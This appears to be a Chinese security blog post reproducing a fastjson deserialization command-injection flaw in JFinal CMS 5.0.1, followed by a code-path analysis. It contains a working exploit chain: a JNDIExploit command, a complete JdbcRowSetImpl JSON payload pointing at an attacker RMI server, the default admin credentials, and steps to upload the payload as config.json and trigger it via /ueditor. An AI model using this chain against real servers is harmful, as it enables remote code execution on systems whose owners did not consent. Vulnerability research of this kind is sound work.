Jfinal CMS命令注入漏洞

漏洞环境

jfinal_cms 5.0.1 中存在命令执行漏洞

JDK 版本要求:

  • 基于 RMI<=6u141、7u131、8u121 使用的 JDK 版本
  • 基于 LDAP<=6u211、7u201、8u191 使用的 JDK 版本。

jfinal_cms版本:5.0.1
fastjson版本:1.2.28

漏洞复用

测试中使用的JDK版本:JDK8u101

在 kali 上运行该工具,启动 rmi 和 ldap 服务
https://github.com/feihong-cs/JNDIExploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

2022-11-17T12:30:22.png
替换payload中的rmi或ldap地址,然后保存到config.json

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.248.128:1099/6dxg2x",
        "autoCommit":true
    }
}

登录后台,找到模板管理,后台默认账号密码admin/admin123456
2022-11-17T12:33:58.png
找到config.json并点击,之后点replace file
2022-11-17T12:35:10.png
把刚才做好的payload上传
2022-11-17T12:35:33.png
访问 /ueditor,就会执行命令并弹出计算器

http://localhost:8080/jfinal_cms/ueditor

136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d.gif
利用成功,散会!

漏洞分析

com.jflyfox.component.controller.Ueditor
ActionEnter类在/ueditor路由的index方法中实例化
2022-11-17T12:38:14.png
com.baidu.ueditor.ActionEnter

ActionEnter类的构造方法中实例化
2022-11-17T12:39:52.png

com.baidu.ueditor.ConfigManager

ConfigManager调用的构造方法initEnv()
2022-11-17T12:40:25.png

com.baidu.ueditor.ConfigManager

initEnv调用JSONObject.parseObject来解析文件内容,这里的文件内容是可控的,只需将文件内容替换为payload即可
2022-11-17T12:41:17.png

com.baidu.ueditor.ConfigManager

如果后台存在任何文件上传漏洞,则可以将此文件替换为包含payload的文件,以触发 fastjson 反序列化WEB-INF/classes/config.json
2022-11-17T12:42:01.png
2022-11-17T12:42:09.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

用砖头敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值